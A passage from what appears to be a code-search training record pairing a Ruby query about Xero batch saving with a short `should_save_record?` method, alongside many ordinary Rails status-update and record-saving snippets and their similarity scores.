approved\n if self.status.eq?('approved')\n self.guid = generate_guid(@current_time)\n end\n end\n end", "def status\n refund? ? 3 : redeemed? ? 1 : (used_status? ? 2 : 0)\n end", "def set_status\n type = params[:type]\n if type == \"In Progress\"\n @service_request.status = \"In Progress\"\n elsif type == \"Completed\"\n @service_request.status = \"Completed\"\n end\n\n if @service_request.save\n flash.now[:sucess] = \"Status updated successfully\"\n redirect_to user_service_request_path(@service_request.user_id, @service_request)\n else\n flash.now[:danger] = \"Status was not updated\"\n redirect_to user_service_request_path(@service_request.user_id, @service_request)\n end\n\n end", "def status\n raise \"Status not set for #{self.inspect}\" if @status == :nil\n raise \"Not allowed status: #{@status} for #{self.inspect}\" unless ALLOWED.include?(@status)\n @status\n end", "def update_order_status\n order.delivery_status = status\n order.save\n end", "def changed\n @status = true\n end", "def verified\n update_attributes(:status => STATUS[:verified])\n end", "def status\n @status = valid? ? :ok : :unprocessable_entity\n end", "def update_status\n authorize @event_order\n begin\n\n raise \"Please enter the transaction id.\" unless params[:transaction_id].present? if (@event_order.pending? || @event_order.failure?)\n\n ApplicationRecord.transaction do\n update_event_order_status(params[:status])\n @event_order.after_manual_status_update(params[:transaction_id])\n @event_order.update_columns(reg_ref_number: \"manual_\"+@event_order.reg_ref_number) if @event_order.success?\n end\n\n rescue SyException, AASM::InvalidTransition => e\n @message = e.message\n if @event_order.errors.present?\n error = @event_order.errors.messages.first\n @message = error.is_a?(Array) ? error.flatten.join(' ') : error\n end\n\n rescue Exception => e\n @message = e.message\n end\n @message.present? ? flash[:error] = @message : flash[:success] = \"Status Updated Successfully.\"\n respond_to do |format|\n format.js\n format.html{ redirect_back(fallback_location: proc { root_path }) }\n end\n end", "def translate_status_from_internal_to_external(status)\n status.downcase == \"voided\" ? \"refunded\" : status\n end", "def update_status(new_status)\n raise ArgumentError.new\"Invalid Status\" unless new_status == :AVAILABLE || new_status == :UNAVAILABLE\n @status = new_status\n end", "def change_status(new_status)\n cm_status = status\n new_params = {:event_id => event.cm_event_id,\n :session_id => cm_session_id,\n :status => new_status}\n cm_status.load(new_params)\n begin\n cm_status.save\n rescue => e\n if cm_status.present?\n errors.add_to_base(e.to_s)\n end\n end\n end", "def update_status\n update_params = {status: params[:status]}\n update_params[:password] = \"\" if params[:object] == \"User\"\n\n model = params[:object].constantize\n object = model.find(params[:status_id])\n if object.update_attributes(update_params)\n render json: {success:{msg: \"Updated #{params[:object]}\", id: object.id.to_s}}\n else \n render json: {failure:{msg: object.errors.full_messages.first}}\n end\n end", "def status_updated\n new_status = params[:new_status]\n id = params[:id]\n application = EventApplication.find_by(user_id: id)\n application.status = new_status\n application.save(:validate => false)\n flash[:success] = \"Status successfully updated.\"\n\n redirect_to event_application_path(application)\n\n\n\n # Send email when status changes.\n if new_status == 'accepted'\n UserMailer.accepted_email(application.user).deliver_now\n elsif new_status == 'denied'\n UserMailer.denied_email(application.user).deliver_now\n else\n UserMailer.waitlisted_email(application.user).deliver_now\n end\n end", "def approve_me\n self.update!(status: 'APPROVED')\n end", "def status=(new_status)\n return if self.status == new_status\n if going_back_to?(new_status)\n revert_to(new_status)\n else\n if jumping_to?(new_status) #if we're skipping one or more statuses\n # fill_in_achievements here\n end\n # add a progression to the user\n if new_status::ID > AddedApplication::ID\n self.progressions << Progression.create(:user => self, :status_id => new_status::ID)\n end\n end\n # now set the status--NEED to reference self.status_id here (.status = infinite loop)\n self.status_id = new_status::ID\n self.check_for_new_achievements\n self.save!\n end", "def status=(int)\n if not STATUSE.select { |k, v| v == int }\n raise Fatal::InvalidArgumentError.code(13002)\n end\n @status = int\n end", "def update_status_timestamp\n self.overall_status_modified_at = Time.zone.now\n end", "def status\n s = statuses.find(:first, :order => \"updated_at DESC\")\n if s.nil?\n s = statuses.create :organization_quarter_status_type_id => OrganizationQuarterStatusType.find_or_create_by_title(\"Needs Contact\").id\n s.type.sequence = 0; s.type.save;\n end\n s\n end", "def update\n\n respond_to do |format|\n if @local.update_attributes(params[:local])\n format.html { redirect_to(@local, :notice => 'Local was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local.errors, :status => :unprocessable_entity }\n end\n end\n end", "def toggle_status\n respond_to do |format|\n status = @invoice.pending? ? Invoice.statuses[:paid] : Invoice.statuses[:pending]\n if @invoice.update(status: status)\n format.html { render partial: 'invoices/invoice_actions', layout: false }\n format.json { render :show, status: :ok, location: @invoice }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "def status=(status)\n @_status = status\n end", "def status=(status)\n @_status = status\n end" ]
[ "0.69049907", "0.66083694", "0.6511697", "0.65002716", "0.64992464", "0.6466261", "0.64374685", "0.6377628", "0.6367667", "0.6328119", "0.6312454", "0.6278468", "0.6278209", "0.62533057", "0.6251229", "0.62227833", "0.6190832", "0.6148658", "0.6144465", "0.6144465", "0.61401623", "0.61248785", "0.61156285", "0.6105856", "0.6096845", "0.60867316", "0.6085112", "0.60651785", "0.6063931", "0.60607827", "0.60603017", "0.60455513", "0.60271764", "0.6025397", "0.6025397", "0.59869397", "0.5966067", "0.5961731", "0.5960564", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.59594655", "0.5950457", "0.5940277", "0.5927678", "0.59258956", "0.5921522", "0.591158", "0.59098804", "0.59040177", "0.59039074", "0.58857137", "0.58819354", "0.5879129", "0.58786464", "0.5877916", "0.5851243", "0.5845537", "0.58443564", "0.58411974", "0.5839482", "0.5838108", "0.5830243", "0.5825695", "0.58083314", "0.58056474", "0.58042943", "0.5803923", "0.580002", "0.57919276", "0.5791295", "0.57900083", "0.57882744", "0.5786375", "0.5782173", "0.57813275", "0.5775983", "0.5774231", "0.5773855", "0.5773855" ]
0.6694855
1
OPTIONAL Check if this record should be included in the batch save We need to somehow still update the model even if the record should not be saved to xero. This is causing some items to not not archive or void since they the remote server is already voided
def should_save_record?(record, model) true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def before_save\n changed_fields?\n if(@changed_fields && @changed_fields.keys.include?('rmt_product_id') && ((bins = Bin.find_all_by_delivery_id(self.id)).length>0))\n raise \"sorry cannot change rmt_product of this delivery , #{bins.length} bin(s) have already been scanned for this delivery\"\n end\n puts\n end", "def sync_local_model_status(model, record)\n true\n end", "def check_can_save\n if saving_update\n self.saving_update = false\n return true\n end\n\n super\n end", "def fetch_saved?\n super and available_quantity_changed?\n end", "def before_save\n self.available = true if self.available.nil?\n super\n end", "def before_save\n self.available = true if self.available.nil?\n super\n end", "def save\n !update_case.has_key?(\"error\")\n end", "def handle_silent_modification_failure?\n self[:raise_on_save_failure] == false\n end", "def update_existing?\n !self.errors.any? && !item_return? && exists?\n end", "def update_if_was_on_same_support\n # was_on_same_support: is only updated behind-the-scene as part of sign deleting process\n # e.g., two signs share same support, first with 'DR' and second with 'SAME', user deleted 'DR' sign,\n # so second sign support changes from 'SAME' to 'DR', at this moment the system would \n # mark :was_on_same_support as true; then if user directly changes the sign support from `DR` \n # to anything else, system would reset :was_on_same_support as false.\n self.was_on_same_support = false if self.changes.include?(:support_type_id) && !self.changes.include?(:was_on_same_support)\n\n # need to make sure always return true, otherwise record wont be saved\n true\n end", "def update_associated_records\n self.invoice_details.each do |d|\n if d.record_type > InvoiceDetail::FEE && d.record_type <= InvoiceDetail::SETUP\n #get the associated record\n @obj = d.idetailable_type.classify.constantize.find(d.idetailable_id)\n if d.disposition == InvoiceDetail::INCLUDE || d.disposition == InvoiceDetail::WAIVE\n @obj.update_attributes(:invoice_id => self.id, :skip_callbacks => true)\n elsif @obj.invoice_id == self.id\n # the record is to be skipped. If the record was invoiced under this invoice\n # then we want to set the invoice flag to false so it is picked up in future invoices\n @obj.update_attributes(:invoiced => false, :invoice_id => nil, :skip_callbacks => true)\n end\n end\n end # end loop\n end", "def will_record_after_update?\n on = @record.paper_trail_options[:on]\n on.nil? || on.include?(:update)\n end", "def run_before_save\n return if append_id.blank?\n return if change_set.id == append_id\n return unless change_set.resource.is_a? ScannedResource\n change_set.validate(member_of_collection_ids: [])\n end", "def can_save?\n @key != '1'\n end", "def save_only_when_valid\n if valid?\n save_without_ensure\n else\n false\n end\n end", "def build?(record)\n !record.synced? && target_association(record.mapping).synced_for?(record)\n end", "def record_transaction\n if self.save\n return true\n else\n return false\n end \n end", "def valid_record?\n status = (config['BATCH']['record_type']? parse(config['BATCH']['record_type'] ) != 'INV' : true)\n return status\n end", "def broadcast_after_save\n # ObjectActivity.faye_broadcast(self, self) if verified_changed? | confirmed_at_changed?\n return true unless verified_changed? | confirmed_at_changed? | name_changed? | bio_changed? | job_title_id_changed? | avatar_changed? | gmc_changed?\n # users = User.joins(:user_locations).where(:user_locations => {:location_id => self.locations.collect{|a| a.id}}).all\n # users.each do |u|\n # UpdatesChannel.broadcast_to(u, {loadModels: [self.to_jsonapi]})\n # end\n BroadcastToLocationJob.perform_later(self.locations.all.to_a, {loadModels: [self.to_jsonapi]})\n true\n end", "def able_to_save?\n unlocked? or state_was == 'pending'\n end", "def track_record_update\n true\n end", "def supports_releasing_savepoints?\n false\n end", "def only_saves_changes?\n only_save_changes\n end", "def editable_by user\n recordings.each do |recording|\n return true if recording.update_common_work_ids.include? user.id\n end\n return false\n end", "def changed_for_autosave?\n new_record? || has_changes_to_save? || marked_for_destruction? || nested_records_changed_for_autosave?\n end", "def has_batch_products_included?\n result=false\n invoice_line_items.each do |line_item|\n result=true if !line_item.product.blank? && line_item.product.batch_enable? && !line_item.marked_for_destruction?\n end\n result\n end", "def allow_batch?\n return true if current_ability.can?(:edit, solr_document)\n false\n end", "def update?\n existing && !destroyable? && acceptable_id?\n end", "def dirty?\n super || run_once(true) { dirty_embedments? }\n end", "def can_be_modified?\n self.offerings.each do |o|\n return false if o.can_be_deleted? == false\n end\n return true\n end", "def updatable?\n sir_item.sir_entries.last.id == id\n end", "def prevent_double_save_bug\n false if self.persisted?\n end", "def save_if_none_match\n status = orchio_put_if_none_match(to_json_direct) if valid?\n retval status\n end", "def default_save(new_model)\n if new_model.non_duplicative_save\n logger.info \"Saved validated model of type '#{new_model.class}' with id: #{new_model.id}\\n\"\n return true\n else\n logger.info \"Validated model of type '#{new_model.class}' already existed and was not saved\"\n end\n end", "def silent_save\n if self.class.find(self.id)\n update\n else\n insert\n end\n end", "def enhance_batch!(conn, record_batch)\n return record_batch if record_batch.nil? || record_batch.empty?\n\n copy_info = get_joined_table(\n conn, record_batch,\n :table_name => \"copy\",\n :column_map => settings['horizon.copy_map'],\n :join_clause => settings['horizon.copy_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all copies direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n item_info = get_joined_table(\n conn, record_batch,\n :table_name => \"item\",\n :column_map => settings['horizon.item_map'],\n :join_clause => settings['horizon.item_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all items direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n if item_info || copy_info\n record_batch.each do |record|\n id = record['001'].value.to_s\n record_copy_info = copy_info && copy_info[id]\n record_item_info = item_info && item_info[id]\n\n record_copy_info.each do |copy_row|\n field = MARC::DataField.new( settings[\"horizon.copy_tag\"] )\n copy_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_copy_info\n\n record_item_info.each do |item_row|\n field = MARC::DataField.new( settings[\"horizon.item_tag\"] )\n item_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_item_info && ((settings['horizon.include_holdings'].to_s != \"direct\") || record_copy_info.empty?)\n end\n end\n\n return record_batch\n end", "def should_propagate_dependent_option? record\n # When we really want to delete associated records? when these are\n # not being used by any translations. This means that either +record+\n # has no translations, or that its translations use a different set of records\n all_records = record.translations.map do |translation|\n translation.without_current_locale(translation.locale) do\n translation.send(name).to_a\n end\n end.flatten\n (all_records & record.send(name)).empty?\n end", "def save_logic( defer=false, mask_exception = true )\n ensure_id\n self[:_attachments] = attachments.pack unless attachments.empty?\n if defer\n database.add_to_bulk_cache( self )\n else\n # clear any bulk saving left over ...\n database.bulk_save if database.bulk_cache.size > 0\n if mask_exception\n save_now\n else\n save_now( false )\n end \n end \n end", "def commit_required?\n @entry_set.each do |e|\n return true if e.dirty\n end\n @comment != @stored_comment || @entry_set != @stored_entries || @create\n end", "def notify?; params_for_save[:Notify] == true end", "def notify?; params_for_save[:Notify] == true end", "def notify?; params_for_save[:Notify] == true end", "def autosavable?(metadata)\n !autosaved_relations.include?(metadata.name) && !metadata.embedded?\n end", "def requires_serialization_on_save?(model)\n maybe_flex_object = model._flex_column_object_for(column_name, false)\n out = true if maybe_flex_object && maybe_flex_object.deserialized?\n out ||= true if ((! column.null) && (! model[column_name]))\n out\n end", "def validate_records\n have_enough_items_to_trade?\n end", "def batch?\n @batch_response\n end", "def save?\n save == true\n end", "def valid_to_process?\n #TODO\n # available money to transfer\n persisted? ? true : false\n end", "def user_can_save?\n false\n end", "def supports_releasing_savepoints?\n true\n end", "def sneaky_update\n\n # Handle no changes.\n return true if changes.empty?\n\n # Here we have changes --> save them.\n pk = self.class.primary_key\n original_id = changed_attributes.has_key?(pk) ? changes[pk].first : send(pk)\n !self.class.where(pk => original_id).update_all(attributes).zero?\n end", "def sited_model?\n false\n end", "def prepare_to_save\n errors.add(:base, :has_already_been_submitted) && (return false) if @already_submitted\n @already_submitted = true\n end", "def multi_appointment_receipt_allowed?() # We must validate record existance (for AS security layer):\n return false unless existing_record_check? # (current record instance could be empty or new)\n # Existing records must be checked for this also:\n ( Appointment.find_all_unpayed_for_patient( self.id ).size > 0 )\n end", "def save(obj)\r\n # if obj.errors.empty?\r\n set_or_replace_record obj\r\n # true\r\n # else\r\n # false\r\n # end\r\n end", "def should_perform_on_model?\n true\n end", "def save_without_revision\n save_without_revision!\n true\n rescue\n false\n end", "def modified?\n ((self.created_at != self.updated_at) ||\n (segments.collect { |e| e.audio_asset.authored? && e.audio_asset.delivered? }.include?(true))) \n end", "def save\n Course::ExperiencePointsRecord.transaction { @experience_points_records.map(&:save!).all? }\n rescue ActiveRecord::RecordInvalid\n false\n end", "def update_records\n # Get all line items include redone body and it's serial number.\n line_items = AxOrderLineItem.find(:all, :conditions => ['item_id = ? and sales_item_reservation_number <> ?', Product::REDONE_ERP_PRODUCT_ITEM, ''], :include => :ax_order)\n \n # Get all serial numbers from ax order line items.\n serial_numbers = line_items.map(&:serial_number).sort_by { |i| i.to_i }\n \n # Calc all new serial numbers.\n new_serial_numbers = serial_numbers - self.find(:all).map(&:serial_number)\n \n # Add new serial numbers to database.\n new_serial_numbers.each do |serial_number|\n line_item = line_items.find {|i| i.serial_number == serial_number}\n self.create(\n :ax_account_number => line_item.ax_account_number,\n :ax_account_id => line_item.ax_account_id,\n :ax_order_number => line_item.ax_order_number,\n :ax_order_id => line_item.ax_order_id,\n :email_address => line_item.email_address,\n :first_name => line_item.first_name,\n :last_name => line_item.last_name,\n :serial_number => line_item.serial_number,\n :purch_order_form_num => line_item.purch_order_form_num\n )\n end\n \n # Update exist but not sent records data up to date.\n self.find(:all, :conditions => ['sent_mail = ?', false]).each do |item|\n if line_item = line_items.find {|i| i.serial_number == item.serial_number}\n item.update_attributes(\n :ax_account_number => line_item.ax_account_number,\n :ax_account_id => line_item.ax_account_id,\n :ax_order_number => line_item.ax_order_number,\n :ax_order_id => line_item.ax_order_id,\n :email_address => line_item.email_address,\n :first_name => line_item.first_name,\n :last_name => line_item.last_name,\n :serial_number => line_item.serial_number,\n :purch_order_form_num => line_item.purch_order_form_num\n ) unless compare_equal?(item, line_item)\n end\n end\n end", "def allowed_to_ship_data?\n return false if (Time.now.to_i - self.synced_at) < 43200\n return true\n end", "def editable?\n new_record? || (Spree::Order.complete.where(\"bill_address_id = ? OR\n ship_address_id = ? AND\n state != 'complete' AND\n shipment_state != 'shipped'\", id, id).count == 0)\n end", "def modified_existing?\n false\n end", "def saved?\n saved_at != nil\n end", "def changed_for_autosave?(doc)\n doc.new_record? || doc.changed? || doc.marked_for_destruction?\n end", "def save(*)\n if status = super\n changes_applied\n end\n status\n end", "def already_uploaded_this_acf?(nmd)\n !ReadyForShipmentBatch.find_by_acf_integrity_hash(nmd.integrity_hash).nil?\n end", "def serialize\n begin \n ActiveRecord::Base.transaction do \n o = \"#{@obj.class.name.downcase}_id\".to_sym\n if r = IptRecord.find(:first, :conditions => {o => @obj.id }) \n r.destroy \n end\n if i = self.ipt_record\n i.save!\n else\n return false\n end\n end\n rescue\n return false \n end \n true\n end", "def auth_save_filter\n if not allowed_to_save\n # An interesting thought: could this throw an HTTP error?\n false\n else\n true\n end\n end", "def check_record; end", "def updated_values?(order)\n super or submitted_assets_have_changed?(order)\n end", "def submit\n setup_listing\n if valid?\n persist!\n true\n else\n false\n end\n end", "def phone_model_keys_has_to_be_available\n self.sip_account.undefined_phone_model_keys.include?(self.phone_model_key)\n end", "def update_requested_by\n @book=Book.find(params[:id])\n k=0\n $transactions.each do |transaction|\n if transaction.requested_by_id==current_user.id and transaction.book_id==@book.id and (transaction.status==3 or (transaction.status==1 and transaction.returned=false))\n k=1\n end\n end\n @transaction=Transaction.new\n if k==0\n @transaction.update_attribute(:book_id, @book.id)\n @transaction.update_attribute(:requested_by, current_user.name )\n @transaction.update_attribute(:requested_by_id, current_user.id )\n @transaction.update_attribute(:requested, true)\n @transaction.update_attribute(:status, 3)\n redirect_to @book, notice: \"Book issue request is successfully placed\"\n else\n redirect_to books_url, notice: \"You have already requested this book\"\n end\n end", "def bypass_valid\r\n self.persisted? #and self.bypass\r\n end", "def save_with_dirty_tracking(*args)\n if save_without_dirty_tracking(*args)\n self.make_changes_current\n if args.first.is_a?(Hash) && args.first[:include_associations]\n args.first[:include_associations].each do |assoc|\n Array.wrap(self.send(assoc).internal_object).each(&:make_changes_current)\n end\n end\n return true\n else\n return false\n end\n end", "def _synced?(foreign_key)\n !!_synced[foreign_key]\n end", "def save\n begin\n create_or_update\n rescue ActiveRecord::RecordInvalid\n false\n end\n end", "def already_processed?(transaction)\n transaction['type'] != 'AA'\n end", "def dirty_embedments?\n embedments.values.any? do |embedment|\n embedment.loaded?(self) && case embedment\n when Embedments::OneToOne::Relationship then embedment.get!(self).dirty?\n when Embedments::OneToMany::Relationship then embedment.get!(self).any? { |r| r.dirty? }\n else false\n end\n end\n end", "def save\n path = new_record? ? endpoint : \"#{endpoint}/#{attributes[:id]}\"\n response = client.send(persistence_action, path, attributes)\n if response[response_key].present?\n self.attributes = response[response_key]\n true\n else\n @errors = response\n false\n end\n end", "def save_version?\n version_condition_met? && altered?\n end", "def save\n self.approved = true\n super\n end", "def ensure_not_referenced_by_any_line_item #in this case before destroy a row in the database\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Itens present')\n return false\n end\n end", "def change_item_required?\n self.change_class_set? && \n self.change_type_set? &&\n self.change_type.change_items.size > 0\n end", "def to_be_performed?\n self.research_billing_qty > 0\n end", "def save\n \tself.errors = [\"Shipping Addresses are readonly\"]\n \treturn false\n end", "def save\n \tself.errors = [\"Shipping Addresses are readonly\"]\n \treturn false\n end", "def update\n @breadcrumb = 'update'\n @sale_offer = SaleOffer.find(params[:id])\n\n items_changed = false\n if params[:sale_offer][:sale_offer_items_attributes]\n params[:sale_offer][:sale_offer_items_attributes].values.each do |new_item|\n current_item = SaleOfferItem.find(new_item[:id]) rescue nil\n if ((current_item.nil?) || (new_item[:_destroy] != \"false\") ||\n ((current_item.product_id.to_i != new_item[:product_id].to_i) ||\n (current_item.description != new_item[:description]) ||\n (current_item.quantity.to_f != new_item[:quantity].to_f) ||\n (current_item.price.to_f != new_item[:price].to_f) ||\n (current_item.discount_pct.to_f != new_item[:discount_pct].to_f) ||\n (current_item.discount.to_f != new_item[:discount].to_f) ||\n (current_item.tax_type_id.to_i != new_item[:tax_type_id].to_i) ||\n (current_item.project_id.to_i != new_item[:project_id].to_i) ||\n (current_item.work_order_id.to_i != new_item[:work_order_id].to_i) ||\n (current_item.charge_account_id.to_i != new_item[:charge_account_id].to_i) ||\n (current_item.store_id.to_i != new_item[:store_id].to_i)))\n items_changed = true\n break\n end\n end\n end\n master_changed = false\n if ((params[:sale_offer][:organization_id].to_i != @sale_offer.organization_id.to_i) ||\n (params[:sale_offer][:offer_no].to_s != @sale_offer.offer_no) ||\n (params[:sale_offer][:offer_date].to_date != @sale_offer.offer_date) ||\n (params[:sale_offer][:sale_offer_status_id].to_i != @sale_offer.sale_offer_status_id.to_i) ||\n (params[:sale_offer][:client_id].to_i != @sale_offer.client_id.to_i) ||\n (params[:sale_offer][:contracting_request_id].to_i != @sale_offer.contracting_request_id.to_i) ||\n (params[:sale_offer][:payment_method_id].to_i != @sale_offer.payment_method_id.to_i) ||\n (params[:sale_offer][:work_order_id].to_i != @sale_offer.work_order_id.to_i) ||\n (params[:sale_offer][:charge_account_id].to_i != @sale_offer.charge_account_id.to_i) ||\n (params[:sale_offer][:store_id].to_i != @sale_offer.store_id.to_i) ||\n (params[:sale_offer][:discount_pct].to_f != @sale_offer.discount_pct.to_f) ||\n (params[:sale_offer][:approval_date].to_date != @sale_offer.approval_date) ||\n (params[:sale_offer][:approver].to_s != @sale_offer.approver) ||\n (params[:sale_offer][:remarks].to_s != @sale_offer.remarks))\n master_changed = true\n end\n\n respond_to do |format|\n if master_changed || items_changed\n @sale_offer.updated_by = current_user.id if !current_user.nil?\n if @sale_offer.update_attributes(params[:sale_offer])\n format.html { redirect_to @sale_offer,\n notice: (crud_notice('updated', @sale_offer) + \"#{undo_link(@sale_offer)}\").html_safe }\n format.json { head :no_content }\n else\n @projects = projects_dropdown_edit(@sale_offer.project)\n @work_orders = @sale_offer.project.blank? ? work_orders_dropdown : @sale_offer.project.work_orders.by_no\n @charge_accounts = work_order_charge_account(@sale_offer, @projects)\n @stores = work_order_store(@sale_offer)\n @clients = @sale_offer.organization.blank? ? clients_dropdown : @sale_offer.organization.clients.by_code\n @payment_methods = @sale_offer.organization.blank? ? payment_methods_dropdown : collection_payment_methods(@sale_offer.organization_id)\n @status = sale_offer_statuses_dropdown\n # @products = @sale_offer.organization.blank? ? products_dropdown : @sale_offer.organization.products.by_code\n if @sale_offer.project.blank?\n @contracting_requests = @sale_offer.client.blank? ? projects_contracting_requests(@projects) : @sale_offer.client.connection_requests.by_no\n else\n @contracting_requests = @sale_offer.client.blank? ? projects_contracting_requests(@sale_offer.project) : @sale_offer.client.connection_requests.belongs_to_project(@sale_offer.project)\n end\n @approval = @sale_offer.sale_offer_status_id == SaleOfferStatus::APPROVED ? 'true' : 'false'\n format.html { render action: \"edit\" }\n format.json { render json: @sale_offer.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to @sale_offer }\n format.json { head :no_content }\n end\n end\n end", "def saved_for_later?(item_id_type, item_id)\n in_area?( @saved_for_later_items, item_id_type, item_id )\n end", "def no_embargoes\n model.persisted? && !model.under_embargo?\n end", "def save_records(records)\n raise_must_override\n end", "def before_update_save(record)\n record.puesto_id = nil\n record.origen_id = record.buzon_id\n record.carpeta_id = nil\n record.add_traza(current_user.id, 8, current_user.puesto.buzon_id)\n if record.documento.digital \n record.despachar\n else\n record.estado_id = 6\n end\n end", "def save\n create_or_update\n return true\n end", "def saved_already?\n @id != \"\" && @id != nil\n end", "def save(*args)\n if persisted? && (changes.keys - %w(history_ended_at)).any?\n false\n else\n super\n end\n end", "def should_process? \n #return false if it has been set to skip processing \n return false if self.persistence_checksum.eql?(\"skip\")\n\n #return true if there are different number of craft files than records of craft that are not marked as deleted\n craft_files = campaigns_instance.identify_craft_in(self.name)\n craft = self.craft.where(:deleted => false) #if craft.nil?\n return true if craft_files.map{|k,v| v}.flatten.size != craft.count\n\n #return true if the stored checksum for persistent.sfs does not match the one generated for the current persistent.sfs\n Dir.chdir(self.path)\n return true unless File.exists?(\"persistent.sfs\")\n checksum = Digest::SHA256.file(\"persistent.sfs\").hexdigest\n not checksum.eql?(self.persistence_checksum)\n end", "def in_use?\n !batch.nil?\n end", "def no_classification_conflict(uploaded_file, obj, to_save)\n if obj.respond_to?(:stix_id)\n original_id = obj.stix_id.include?(Setting.READ_ONLY_EXT) ? obj.stix_id.slice(0, obj.stix_id.length - Setting.READ_ONLY_EXT.length) : obj.stix_id\n end\n\n if obj.respond_to?(:cybox_object_id)\n original_id = obj.cybox_object_id.include?(Setting.READ_ONLY_EXT) ? obj.cybox_object_id.slice(0, obj.cybox_object_id.length - Setting.READ_ONLY_EXT.length) : obj.cybox_object_id\n end\n\n if obj.respond_to?(:guid) && obj.guid.present?\n original_guid = obj.guid.include?(Setting.READ_ONLY_EXT) ? obj.guid.slice(0, obj.guid.length - Setting.READ_ONLY_EXT.length) : obj.guid\n end\n\n to_save.each do |normal|\n if obj.respond_to?(:stix_id)\n if normal.respond_to?(:remote_object_id) && normal.remote_object_id == obj.stix_id\n if normal.class != StixMarking\n normal.remote_object_id = original_id\n end\n elsif normal.respond_to?(:stix_package_id) && normal.stix_package_id == obj.stix_id\n normal.stix_package_id = original_id\n elsif normal.respond_to?(:stix_indicator_id) && normal.stix_indicator_id == obj.stix_id\n normal.stix_indicator_id = original_id\n elsif normal.respond_to?(:course_of_action_id) && normal.course_of_action_id == obj.stix_id\n normal.course_of_action_id = original_id\n elsif normal.respond_to?(:stix_package_stix_id) && normal.stix_package_stix_id == obj.stix_id\n normal.stix_package_stix_id = original_id\n elsif normal.respond_to?(:stix_course_of_action_id) && normal.stix_course_of_action_id == obj.stix_id\n normal.stix_course_of_action_id = original_id\n elsif normal.respond_to?(:stix_exploit_target_id) && normal.stix_exploit_target_id == obj.stix_id\n normal.stix_exploit_target_id = original_id\n elsif normal.respond_to?(:stix_ttp_id) && normal.stix_ttp_id == obj.stix_id\n normal.stix_ttp_id = original_id\n elsif normal.respond_to?(:stix_attack_pattern_id) && normal.stix_attack_pattern_id == obj.stix_id\n normal.stix_attack_pattern_id = original_id\n end\n end\n \n if obj.respond_to?(:guid)\n if normal.respond_to?(:vulnerability_guid) && normal.vulnerability_guid == obj.guid\n normal.vulnerability_guid = original_guid\n elsif normal.respond_to?(:remote_src_object) && normal.remote_src_object_guid == obj.guid\n normal.remote_src_object_guid = original_guid\n elsif normal.respond_to?(:remote_dest_object) && normal.remote_dest_object_guid == obj.guid\n normal.remote_dest_object_guid = original_guid\n elsif normal.respond_to?(:target_guid) && normal.target_guid == obj.guid\n normal.target_guid = original_guid\n end\n end\n\n if obj.respond_to?(:cybox_object_id)\n if normal.respond_to?(:remote_object_id) && normal.remote_object_id == obj.cybox_object_id\n if normal.class != StixMarking\n normal.remote_object_id = original_id\n end\n elsif normal.respond_to?(:cybox_object_id) && normal.cybox_object_id == obj.cybox_object_id\n normal.cybox_object_id = original_id\n elsif normal.respond_to?(:cybox_file_id) && normal.cybox_file_id == obj.cybox_object_id\n normal.cybox_file_id = original_id\n elsif normal.respond_to?(:uri_object_id) && normal.uri_object_id == obj.cybox_object_id\n normal.uri_object_id = original_id\n elsif normal.respond_to?(:cybox_win_reg_key_id) && normal.cybox_win_reg_key_id == obj.cybox_object_id\n normal.cybox_win_reg_key_id = original_id\n end\n end\n\n if normal.class == StixMarking && normal.remote_object_id == obj.guid\n normal.remote_object_id = original_guid\n # set stix_markings stix_id back to normal as well\n normal.stix_id = normal.stix_id.include?(Setting.READ_ONLY_EXT) ? normal.stix_id.slice(0, normal.stix_id.length - Setting.READ_ONLY_EXT.length) : normal.stix_id\n normal.guid = normal.guid.include?(Setting.READ_ONLY_EXT) ? normal.guid.slice(0, normal.guid.length - Setting.READ_ONLY_EXT.length) : normal.guid\n\n # relink isa markings/assertions/tlp/simple\n if normal.isa_assertion_structure\n normal.isa_assertion_structure.stix_marking_id = normal.stix_id\n\n # reset stix_id/guid to normal\n normal.isa_assertion_structure.stix_id = normal.isa_assertion_structure.stix_id.include?(Setting.READ_ONLY_EXT) ? normal.isa_assertion_structure.stix_id.slice(0, normal.isa_assertion_structure.stix_id.length - Setting.READ_ONLY_EXT.length) : normal.isa_assertion_structure.stix_id\n normal.isa_assertion_structure.guid = normal.isa_assertion_structure.guid.include?(Setting.READ_ONLY_EXT) ? normal.isa_assertion_structure.guid.slice(0, normal.isa_assertion_structure.guid.length - Setting.READ_ONLY_EXT.length) : normal.isa_assertion_structure.guid\n\n # relink further sharing/isa privs\n if normal.isa_assertion_structure.isa_privs\n normal.isa_assertion_structure.isa_privs.each do |ip|\n ip.isa_assertion_structure_guid = normal.isa_assertion_structure.guid\n end\n end\n\n if normal.isa_assertion_structure.further_sharings\n normal.isa_assertion_structure.further_sharings.each do |fs|\n fs.isa_assertion_structure_guid = normal.isa_assertion_structure.guid\n end\n end\n end\n if normal.isa_marking_structure\n normal.isa_marking_structure.stix_marking_id = normal.stix_id\n\n # reset stix_id/guid to normal\n normal.isa_marking_structure.stix_id = normal.isa_marking_structure.stix_id.include?(Setting.READ_ONLY_EXT) ? normal.isa_marking_structure.stix_id.slice(0, normal.isa_marking_structure.stix_id.length - Setting.READ_ONLY_EXT.length) : normal.isa_marking_structure.stix_id\n normal.isa_marking_structure.guid = normal.isa_marking_structure.guid.include?(Setting.READ_ONLY_EXT) ? normal.isa_marking_structure.guid.slice(0, normal.isa_marking_structure.guid.length - Setting.READ_ONLY_EXT.length) : normal.isa_marking_structure.guid\n end\n if 